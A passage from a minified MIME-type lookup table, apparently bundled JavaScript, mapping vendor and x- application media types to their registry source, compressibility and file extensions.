"ac"]},"application/vnd.nokia.n-gage.data":{source:"iana",extensions:["ngdat"]},"application/vnd.nokia.n-gage.symbian.install":{source:"iana",extensions:["n-gage"]},"application/vnd.nokia.ncd":{source:"iana"},"application/vnd.nokia.pcd+wbxml":{source:"iana"},"application/vnd.nokia.pcd+xml":{source:"iana",compressible:!0},"application/vnd.nokia.radio-preset":{source:"iana",extensions:["rpst"]},"application/vnd.nokia.radio-presets":{source:"iana",extensions:["rpss"]},"application/vnd.novadigm.edm":{source:"iana",extensions:["edm"]},"application/vnd.novadigm.edx":{source:"iana",extensions:["edx"]},"application/vnd.novadigm.ext":{source:"iana",extensions:["ext"]},"application/vnd.ntt-local.content-share":{source:"iana"},"application/vnd.ntt-local.file-transfer":{source:"iana"},"application/vnd.ntt-local.ogw_remote-access":{source:"iana"},"application/vnd.ntt-local.sip-ta_remote":{source:"iana"},"application/vnd.ntt-local.sip-ta_tcp_stream":{source:"iana"},"application/vnd.oasis.opendocument.chart":{source:"iana",extensions:["odc"]},"application/vnd.oasis.opendocument.chart-template":{source:"iana",extensions:["otc"]},"application/vnd.oasis.opendocument.database":{source:"iana",extensions:["odb"]},"application/vnd.oasis.opendocument.formula":{source:"iana",extensions:["odf"]},"application/vnd.oasis.opendocument.formula-template":{source:"iana",extensions:["odft"]},"application/vnd.oasis.opendocument.graphics":{source:"iana",compressible:!1,extensions:["odg"]},"application/vnd.oasis.opendocument.graphics-template":{source:"iana",extensions:["otg"]},"application/vnd.oasis.opendocument.image":{source:"iana",extensions:["odi"]},"application/vnd.oasis.opendocument.image-template":{source:"iana",extensions:["oti"]},"application/vnd.oasis.opendocument.presentation":{source:"iana",compressible:!1,extensions:["odp"]},"application/vnd.oasis.opendocument.presentation-template":{source:"iana",extensions:["otp"]},"application/vnd.oasis.opendocument.spreadsheet":{source:"iana",compressible:!1,extensions:["ods"]},"application/vnd.oasis.opendocument.spreadsheet-template":{source:"iana",extensions:["ots"]},"application/vnd.oasis.opendocument.text":{source:"iana",compressible:!1,extensions:["odt"]},"application/vnd.oasis.opendocument.text-master":{source:"iana",extensions:["odm"]},"application/vnd.oasis.opendocument.text-template":{source:"iana",extensions:["ott"]},"application/vnd.oasis.opendocument.text-web":{source:"iana",extensions:["oth"]},"application/vnd.obn":{source:"iana"},"application/vnd.ocf+cbor":{source:"iana"},"application/vnd.oci.image.manifest.v1+json":{source:"iana",compressible:!0},"application/vnd.oftn.l10n+json":{source:"iana",compressible:!0},"application/vnd.oipf.contentaccessdownload+xml":{source:"iana",compressible:!0},"application/vnd.oipf.contentaccessstreaming+xml":{source:"iana",compressible:!0},"application/vnd.oipf.cspg-hexbinary":{source:"iana"},"application/vnd.oipf.dae.svg+xml":{source:"iana",compressible:!0},"application/vnd.oipf.dae.xhtml+xml":{source:"iana",compressible:!0},"application/vnd.oipf.mippvcontrolmessage+xml":{source:"iana",compressible:!0},"application/vnd.oipf.pae.gem":{source:"iana"},"application/vnd.oipf.spdiscovery+xml":{source:"iana",compressible:!0},"application/vnd.oipf.spdlist+xml":{source:"iana",compressible:!0},"application/vnd.oipf.ueprofile+xml":{source:"iana",compressible:!0},"application/vnd.oipf.userprofile+xml":{source:"iana",compressible:!0},"application/vnd.olpc-sugar":{source:"iana",extensions:["xo"]},"application/vnd.oma-scws-config":{source:"iana"},"application/vnd.oma-scws-http-request":{source:"iana"},"application/vnd.oma-scws-http-response":{source:"iana"},"application/vnd.oma.bcast.associated-procedure-parameter+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.drm-trigger+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.imd+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.ltkm":{source:"iana"},"application/vnd.oma.bcast.notification+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.provisioningtrigger":{source:"iana"},"application/vnd.oma.bcast.sgboot":{source:"iana"},"application/vnd.oma.bcast.sgdd+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.sgdu":{source:"iana"},"application/vnd.oma.bcast.simple-symbol-container":{source:"iana"},"application/vnd.oma.bcast.smartcard-trigger+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.sprov+xml":{source:"iana",compressible:!0},"application/vnd.oma.bcast.stkm":{source:"iana"},"application/vnd.oma.cab-address-book+xml":{source:"iana",compressible:!0},"application/vnd.oma.cab-feature-handler+xml":{source:"iana",compressible:!0},"application/vnd.oma.cab-pcc+xml":{source:"iana",compressible:!0},"application/vnd.oma.cab-subs-invite+xml":{source:"iana",compressible:!0},"application/vnd.oma.cab-user-prefs+xml":{source:"iana",compressible:!0},"application/vnd.oma.dcd":{source:"iana"},"application/vnd.oma.dcdc":{source:"iana"},"application/vnd.oma.dd2+xml":{source:"iana",compressible:!0,extensions:["dd2"]},"application/vnd.oma.drm.risd+xml":{source:"iana",compressible:!0},"application/vnd.oma.group-usage-list+xml":{source:"iana",compressible:!0},"application/vnd.oma.lwm2m+cbor":{source:"iana"},"application/vnd.oma.lwm2m+json":{source:"iana",compressible:!0},"application/vnd.oma.lwm2m+tlv":{source:"iana"},"application/vnd.oma.pal+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.detailed-progress-report+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.final-report+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.groups+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.invocation-descriptor+xml":{source:"iana",compressible:!0},"application/vnd.oma.poc.optimized-progress-report+xml":{source:"iana",compressible:!0},"application/vnd.oma.push":{source:"iana"},"application/vnd.oma.scidm.messages+xml":{source:"iana",compressible:!0},"application/vnd.oma.xcap-directory+xml":{source:"iana",compressible:!0},"application/vnd.omads-email+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.omads-file+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.omads-folder+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.omaloc-supl-init":{source:"iana"},"application/vnd.onepager":{source:"iana"},"application/vnd.onepagertamp":{source:"iana"},"application/vnd.onepagertamx":{source:"iana"},"application/vnd.onepagertat":{source:"iana"},"application/vnd.onepagertatp":{source:"iana"},"application/vnd.onepagertatx":{source:"iana"},"application/vnd.openblox.game+xml":{source:"iana",compressible:!0,extensions:["obgx"]},"application/vnd.openblox.game-binary":{source:"iana"},"application/vnd.openeye.oeb":{source:"iana"},"application/vnd.openofficeorg.extension":{source:"apache",extensions:["oxt"]},"application/vnd.openstreetmap.data+xml":{source:"iana",compressible:!0,extensions:["osm"]},"application/vnd.opentimestamps.ots":{source:"iana"},"application/vnd.openxmlformats-officedocument.custom-properties+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.customxmlproperties+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawing+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.chart+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.chartshapes+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.diagramcolors+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.diagramdata+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.diagramlayout+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.drawingml.diagramstyle+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.extended-properties+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.commentauthors+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.comments+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.handoutmaster+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.notesmaster+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.notesslide+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.presentation":{source:"iana",compressible:!1,extensions:["pptx"]},"application/vnd.openxmlformats-officedocument.presentationml.presentation.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.presprops+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slide":{source:"iana",extensions:["sldx"]},"application/vnd.openxmlformats-officedocument.presentationml.slide+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slidelayout+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slidemaster+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slideshow":{source:"iana",extensions:["ppsx"]},"application/vnd.openxmlformats-officedocument.presentationml.slideshow.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.slideupdateinfo+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.tablestyles+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.tags+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.template":{source:"iana",extensions:["potx"]},"application/vnd.openxmlformats-officedocument.presentationml.template.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.presentationml.viewprops+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.calcchain+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.chartsheet+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.comments+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.connections+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.dialogsheet+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.externallink+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.pivotcachedefinition+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.pivotcacherecords+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.pivottable+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.querytable+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.revisionheaders+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.revisionlog+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.sharedstrings+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet":{source:"iana",compressible:!1,extensions:["xlsx"]},"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.sheetmetadata+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.table+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.tablesinglecells+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.template":{source:"iana",extensions:["xltx"]},"application/vnd.openxmlformats-officedocument.spreadsheetml.template.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.usernames+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.volatiledependencies+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.theme+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.themeoverride+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.vmldrawing":{source:"iana"},"application/vnd.openxmlformats-officedocument.wordprocessingml.comments+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.document":{source:"iana",compressible:!1,extensions:["docx"]},"application/vnd.openxmlformats-officedocument.wordprocessingml.document.glossary+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.endnotes+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.fonttable+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.footer+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.footnotes+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.numbering+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.template":{source:"iana",extensions:["dotx"]},"application/vnd.openxmlformats-officedocument.wordprocessingml.template.main+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-officedocument.wordprocessingml.websettings+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-package.core-properties+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-package.digital-signature-xmlsignature+xml":{source:"iana",compressible:!0},"application/vnd.openxmlformats-package.relationships+xml":{source:"iana",compressible:!0},"application/vnd.oracle.resource+json":{source:"iana",compressible:!0},"application/vnd.orange.indata":{source:"iana"},"application/vnd.osa.netdeploy":{source:"iana"},"application/vnd.osgeo.mapguide.package":{source:"iana",extensions:["mgp"]},"application/vnd.osgi.bundle":{source:"iana"},"application/vnd.osgi.dp":{source:"iana",extensions:["dp"]},"application/vnd.osgi.subsystem":{source:"iana",extensions:["esa"]},"application/vnd.otps.ct-kip+xml":{source:"iana",compressible:!0},"application/vnd.oxli.countgraph":{source:"iana"},"application/vnd.pagerduty+json":{source:"iana",compressible:!0},"application/vnd.palm":{source:"iana",extensions:["pdb","pqa","oprc"]},"application/vnd.panoply":{source:"iana"},"application/vnd.paos.xml":{source:"iana"},"application/vnd.patentdive":{source:"iana"},"application/vnd.patientecommsdoc":{source:"iana"},"application/vnd.pawaafile":{source:"iana",extensions:["paw"]},"application/vnd.pcos":{source:"iana"},"application/vnd.pg.format":{source:"iana",extensions:["str"]},"application/vnd.pg.osasli":{source:"iana",extensions:["ei6"]},"application/vnd.piaccess.application-licence":{source:"iana"},"application/vnd.picsel":{source:"iana",extensions:["efif"]},"application/vnd.pmi.widget":{source:"iana",extensions:["wg"]},"application/vnd.poc.group-advertisement+xml":{source:"iana",compressible:!0},"application/vnd.pocketlearn":{source:"iana",extensions:["plf"]},"application/vnd.powerbuilder6":{source:"iana",extensions:["pbd"]},"application/vnd.powerbuilder6-s":{source:"iana"},"application/vnd.powerbuilder7":{source:"iana"},"application/vnd.powerbuilder7-s":{source:"iana"},"application/vnd.powerbuilder75":{source:"iana"},"application/vnd.powerbuilder75-s":{source:"iana"},"application/vnd.preminet":{source:"iana"},"application/vnd.previewsystems.box":{source:"iana",extensions:["box"]},"application/vnd.proteus.magazine":{source:"iana",extensions:["mgz"]},"application/vnd.psfs":{source:"iana"},"application/vnd.publishare-delta-tree":{source:"iana",extensions:["qps"]},"application/vnd.pvi.ptid1":{source:"iana",extensions:["ptid"]},"application/vnd.pwg-multiplexed":{source:"iana"},"application/vnd.pwg-xhtml-print+xml":{source:"iana",compressible:!0},"application/vnd.qualcomm.brew-app-res":{source:"iana"},"application/vnd.quarantainenet":{source:"iana"},"application/vnd.quark.quarkxpress":{source:"iana",extensions:["qxd","qxt","qwd","qwt","qxl","qxb"]},"application/vnd.quobject-quoxdocument":{source:"iana"},"application/vnd.radisys.moml+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit-conf+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit-conn+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit-dialog+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-audit-stream+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-conf+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-base+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-fax-detect+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-fax-sendrecv+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-group+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-speech+xml":{source:"iana",compressible:!0},"application/vnd.radisys.msml-dialog-transform+xml":{source:"iana",compressible:!0},"application/vnd.rainstor.data":{source:"iana"},"application/vnd.rapid":{source:"iana"},"application/vnd.rar":{source:"iana",extensions:["rar"]},"application/vnd.realvnc.bed":{source:"iana",extensions:["bed"]},"application/vnd.recordare.musicxml":{source:"iana",extensions:["mxl"]},"application/vnd.recordare.musicxml+xml":{source:"iana",compressible:!0,extensions:["musicxml"]},"application/vnd.renlearn.rlprint":{source:"iana"},"application/vnd.resilient.logic":{source:"iana"},"application/vnd.restful+json":{source:"iana",compressible:!0},"application/vnd.rig.cryptonote":{source:"iana",extensions:["cryptonote"]},"application/vnd.rim.cod":{source:"apache",extensions:["cod"]},"application/vnd.rn-realmedia":{source:"apache",extensions:["rm"]},"application/vnd.rn-realmedia-vbr":{source:"apache",extensions:["rmvb"]},"application/vnd.route66.link66+xml":{source:"iana",compressible:!0,extensions:["link66"]},"application/vnd.rs-274x":{source:"iana"},"application/vnd.ruckus.download":{source:"iana"},"application/vnd.s3sms":{source:"iana"},"application/vnd.sailingtracker.track":{source:"iana",extensions:["st"]},"application/vnd.sar":{source:"iana"},"application/vnd.sbm.cid":{source:"iana"},"application/vnd.sbm.mid2":{source:"iana"},"application/vnd.scribus":{source:"iana"},"application/vnd.sealed.3df":{source:"iana"},"application/vnd.sealed.csf":{source:"iana"},"application/vnd.sealed.doc":{source:"iana"},"application/vnd.sealed.eml":{source:"iana"},"application/vnd.sealed.mht":{source:"iana"},"application/vnd.sealed.net":{source:"iana"},"application/vnd.sealed.ppt":{source:"iana"},"application/vnd.sealed.tiff":{source:"iana"},"application/vnd.sealed.xls":{source:"iana"},"application/vnd.sealedmedia.softseal.html":{source:"iana"},"application/vnd.sealedmedia.softseal.pdf":{source:"iana"},"application/vnd.seemail":{source:"iana",extensions:["see"]},"application/vnd.seis+json":{source:"iana",compressible:!0},"application/vnd.sema":{source:"iana",extensions:["sema"]},"application/vnd.semd":{source:"iana",extensions:["semd"]},"application/vnd.semf":{source:"iana",extensions:["semf"]},"application/vnd.shade-save-file":{source:"iana"},"application/vnd.shana.informed.formdata":{source:"iana",extensions:["ifm"]},"application/vnd.shana.informed.formtemplate":{source:"iana",extensions:["itp"]},"application/vnd.shana.informed.interchange":{source:"iana",extensions:["iif"]},"application/vnd.shana.informed.package":{source:"iana",extensions:["ipk"]},"application/vnd.shootproof+json":{source:"iana",compressible:!0},"application/vnd.shopkick+json":{source:"iana",compressible:!0},"application/vnd.shp":{source:"iana"},"application/vnd.shx":{source:"iana"},"application/vnd.sigrok.session":{source:"iana"},"application/vnd.simtech-mindmapper":{source:"iana",extensions:["twd","twds"]},"application/vnd.siren+json":{source:"iana",compressible:!0},"application/vnd.smaf":{source:"iana",extensions:["mmf"]},"application/vnd.smart.notebook":{source:"iana"},"application/vnd.smart.teacher":{source:"iana",extensions:["teacher"]},"application/vnd.snesdev-page-table":{source:"iana"},"application/vnd.software602.filler.form+xml":{source:"iana",compressible:!0,extensions:["fo"]},"application/vnd.software602.filler.form-xml-zip":{source:"iana"},"application/vnd.solent.sdkm+xml":{source:"iana",compressible:!0,extensions:["sdkm","sdkd"]},"application/vnd.spotfire.dxp":{source:"iana",extensions:["dxp"]},"application/vnd.spotfire.sfs":{source:"iana",extensions:["sfs"]},"application/vnd.sqlite3":{source:"iana"},"application/vnd.sss-cod":{source:"iana"},"application/vnd.sss-dtf":{source:"iana"},"application/vnd.sss-ntf":{source:"iana"},"application/vnd.stardivision.calc":{source:"apache",extensions:["sdc"]},"application/vnd.stardivision.draw":{source:"apache",extensions:["sda"]},"application/vnd.stardivision.impress":{source:"apache",extensions:["sdd"]},"application/vnd.stardivision.math":{source:"apache",extensions:["smf"]},"application/vnd.stardivision.writer":{source:"apache",extensions:["sdw","vor"]},"application/vnd.stardivision.writer-global":{source:"apache",extensions:["sgl"]},"application/vnd.stepmania.package":{source:"iana",extensions:["smzip"]},"application/vnd.stepmania.stepchart":{source:"iana",extensions:["sm"]},"application/vnd.street-stream":{source:"iana"},"application/vnd.sun.wadl+xml":{source:"iana",compressible:!0,extensions:["wadl"]},"application/vnd.sun.xml.calc":{source:"apache",extensions:["sxc"]},"application/vnd.sun.xml.calc.template":{source:"apache",extensions:["stc"]},"application/vnd.sun.xml.draw":{source:"apache",extensions:["sxd"]},"application/vnd.sun.xml.draw.template":{source:"apache",extensions:["std"]},"application/vnd.sun.xml.impress":{source:"apache",extensions:["sxi"]},"application/vnd.sun.xml.impress.template":{source:"apache",extensions:["sti"]},"application/vnd.sun.xml.math":{source:"apache",extensions:["sxm"]},"application/vnd.sun.xml.writer":{source:"apache",extensions:["sxw"]},"application/vnd.sun.xml.writer.global":{source:"apache",extensions:["sxg"]},"application/vnd.sun.xml.writer.template":{source:"apache",extensions:["stw"]},"application/vnd.sus-calendar":{source:"iana",extensions:["sus","susp"]},"application/vnd.svd":{source:"iana",extensions:["svd"]},"application/vnd.swiftview-ics":{source:"iana"},"application/vnd.sycle+xml":{source:"iana",compressible:!0},"application/vnd.syft+json":{source:"iana",compressible:!0},"application/vnd.symbian.install":{source:"apache",extensions:["sis","sisx"]},"application/vnd.syncml+xml":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["xsm"]},"application/vnd.syncml.dm+wbxml":{source:"iana",charset:"UTF-8",extensions:["bdm"]},"application/vnd.syncml.dm+xml":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["xdm"]},"application/vnd.syncml.dm.notification":{source:"iana"},"application/vnd.syncml.dmddf+wbxml":{source:"iana"},"application/vnd.syncml.dmddf+xml":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["ddf"]},"application/vnd.syncml.dmtnds+wbxml":{source:"iana"},"application/vnd.syncml.dmtnds+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/vnd.syncml.ds.notification":{source:"iana"},"application/vnd.tableschema+json":{source:"iana",compressible:!0},"application/vnd.tao.intent-module-archive":{source:"iana",extensions:["tao"]},"application/vnd.tcpdump.pcap":{source:"iana",extensions:["pcap","cap","dmp"]},"application/vnd.think-cell.ppttc+json":{source:"iana",compressible:!0},"application/vnd.tmd.mediaflex.api+xml":{source:"iana",compressible:!0},"application/vnd.tml":{source:"iana"},"application/vnd.tmobile-livetv":{source:"iana",extensions:["tmo"]},"application/vnd.tri.onesource":{source:"iana"},"application/vnd.trid.tpt":{source:"iana",extensions:["tpt"]},"application/vnd.triscape.mxs":{source:"iana",extensions:["mxs"]},"application/vnd.trueapp":{source:"iana",extensions:["tra"]},"application/vnd.truedoc":{source:"iana"},"application/vnd.ubisoft.webplayer":{source:"iana"},"application/vnd.ufdl":{source:"iana",extensions:["ufd","ufdl"]},"application/vnd.uiq.theme":{source:"iana",extensions:["utz"]},"application/vnd.umajin":{source:"iana",extensions:["umj"]},"application/vnd.unity":{source:"iana",extensions:["unityweb"]},"application/vnd.uoml+xml":{source:"iana",compressible:!0,extensions:["uoml"]},"application/vnd.uplanet.alert":{source:"iana"},"application/vnd.uplanet.alert-wbxml":{source:"iana"},"application/vnd.uplanet.bearer-choice":{source:"iana"},"application/vnd.uplanet.bearer-choice-wbxml":{source:"iana"},"application/vnd.uplanet.cacheop":{source:"iana"},"application/vnd.uplanet.cacheop-wbxml":{source:"iana"},"application/vnd.uplanet.channel":{source:"iana"},"application/vnd.uplanet.channel-wbxml":{source:"iana"},"application/vnd.uplanet.list":{source:"iana"},"application/vnd.uplanet.list-wbxml":{source:"iana"},"application/vnd.uplanet.listcmd":{source:"iana"},"application/vnd.uplanet.listcmd-wbxml":{source:"iana"},"application/vnd.uplanet.signal":{source:"iana"},"application/vnd.uri-map":{source:"iana"},"application/vnd.valve.source.material":{source:"iana"},"application/vnd.vcx":{source:"iana",extensions:["vcx"]},"application/vnd.vd-study":{source:"iana"},"application/vnd.vectorworks":{source:"iana"},"application/vnd.vel+json":{source:"iana",compressible:!0},"application/vnd.verimatrix.vcas":{source:"iana"},"application/vnd.veritone.aion+json":{source:"iana",compressible:!0},"application/vnd.veryant.thin":{source:"iana"},"application/vnd.ves.encrypted":{source:"iana"},"application/vnd.vidsoft.vidconference":{source:"iana"},"application/vnd.visio":{source:"iana",extensions:["vsd","vst","vss","vsw"]},"application/vnd.visionary":{source:"iana",extensions:["vis"]},"application/vnd.vividence.scriptfile":{source:"iana"},"application/vnd.vsf":{source:"iana",extensions:["vsf"]},"application/vnd.wap.sic":{source:"iana"},"application/vnd.wap.slc":{source:"iana"},"application/vnd.wap.wbxml":{source:"iana",charset:"UTF-8",extensions:["wbxml"]},"application/vnd.wap.wmlc":{source:"iana",extensions:["wmlc"]},"application/vnd.wap.wmlscriptc":{source:"iana",extensions:["wmlsc"]},"application/vnd.webturbo":{source:"iana",extensions:["wtb"]},"application/vnd.wfa.dpp":{source:"iana"},"application/vnd.wfa.p2p":{source:"iana"},"application/vnd.wfa.wsc":{source:"iana"},"application/vnd.windows.devicepairing":{source:"iana"},"application/vnd.wmc":{source:"iana"},"application/vnd.wmf.bootstrap":{source:"iana"},"application/vnd.wolfram.mathematica":{source:"iana"},"application/vnd.wolfram.mathematica.package":{source:"iana"},"application/vnd.wolfram.player":{source:"iana",extensions:["nbp"]},"application/vnd.wordperfect":{source:"iana",extensions:["wpd"]},"application/vnd.wqd":{source:"iana",extensions:["wqd"]},"application/vnd.wrq-hp3000-labelled":{source:"iana"},"application/vnd.wt.stf":{source:"iana",extensions:["stf"]},"application/vnd.wv.csp+wbxml":{source:"iana"},"application/vnd.wv.csp+xml":{source:"iana",compressible:!0},"application/vnd.wv.ssp+xml":{source:"iana",compressible:!0},"application/vnd.xacml+json":{source:"iana",compressible:!0},"application/vnd.xara":{source:"iana",extensions:["xar"]},"application/vnd.xfdl":{source:"iana",extensions:["xfdl"]},"application/vnd.xfdl.webform":{source:"iana"},"application/vnd.xmi+xml":{source:"iana",compressible:!0},"application/vnd.xmpie.cpkg":{source:"iana"},"application/vnd.xmpie.dpkg":{source:"iana"},"application/vnd.xmpie.plan":{source:"iana"},"application/vnd.xmpie.ppkg":{source:"iana"},"application/vnd.xmpie.xlim":{source:"iana"},"application/vnd.yamaha.hv-dic":{source:"iana",extensions:["hvd"]},"application/vnd.yamaha.hv-script":{source:"iana",extensions:["hvs"]},"application/vnd.yamaha.hv-voice":{source:"iana",extensions:["hvp"]},"application/vnd.yamaha.openscoreformat":{source:"iana",extensions:["osf"]},"application/vnd.yamaha.openscoreformat.osfpvg+xml":{source:"iana",compressible:!0,extensions:["osfpvg"]},"application/vnd.yamaha.remote-setup":{source:"iana"},"application/vnd.yamaha.smaf-audio":{source:"iana",extensions:["saf"]},"application/vnd.yamaha.smaf-phrase":{source:"iana",extensions:["spf"]},"application/vnd.yamaha.through-ngn":{source:"iana"},"application/vnd.yamaha.tunnel-udpencap":{source:"iana"},"application/vnd.yaoweme":{source:"iana"},"application/vnd.yellowriver-custom-menu":{source:"iana",extensions:["cmp"]},"application/vnd.youtube.yt":{source:"iana"},"application/vnd.zul":{source:"iana",extensions:["zir","zirz"]},"application/vnd.zzazz.deck+xml":{source:"iana",compressible:!0,extensions:["zaz"]},"application/voicexml+xml":{source:"iana",compressible:!0,extensions:["vxml"]},"application/voucher-cms+json":{source:"iana",compressible:!0},"application/vq-rtcpxr":{source:"iana"},"application/wasm":{source:"iana",compressible:!0,extensions:["wasm"]},"application/watcherinfo+xml":{source:"iana",compressible:!0,extensions:["wif"]},"application/webpush-options+json":{source:"iana",compressible:!0},"application/whoispp-query":{source:"iana"},"application/whoispp-response":{source:"iana"},"application/widget":{source:"iana",extensions:["wgt"]},"application/winhlp":{source:"apache",extensions:["hlp"]},"application/wita":{source:"iana"},"application/wordperfect5.1":{source:"iana"},"application/wsdl+xml":{source:"iana",compressible:!0,extensions:["wsdl"]},"application/wspolicy+xml":{source:"iana",compressible:!0,extensions:["wspolicy"]},"application/x-7z-compressed":{source:"apache",compressible:!1,extensions:["7z"]},"application/x-abiword":{source:"apache",extensions:["abw"]},"application/x-ace-compressed":{source:"apache",extensions:["ace"]},"application/x-amf":{source:"apache"},"application/x-apple-diskimage":{source:"apache",extensions:["dmg"]},"application/x-arj":{compressible:!1,extensions:["arj"]},"application/x-authorware-bin":{source:"apache",extensions:["aab","x32","u32","vox"]},"application/x-authorware-map":{source:"apache",extensions:["aam"]},"application/x-authorware-seg":{source:"apache",extensions:["aas"]},"application/x-bcpio":{source:"apache",extensions:["bcpio"]},"application/x-bdoc":{compressible:!1,extensions:["bdoc"]},"application/x-bittorrent":{source:"apache",extensions:["torrent"]},"application/x-blorb":{source:"apache",extensions:["blb","blorb"]},"application/x-bzip":{source:"apache",compressible:!1,extensions:["bz"]},"application/x-bzip2":{source:"apache",compressible:!1,extensions:["bz2","boz"]},"application/x-cbr":{source:"apache",extensions:["cbr","cba","cbt","cbz","cb7"]},"application/x-cdlink":{source:"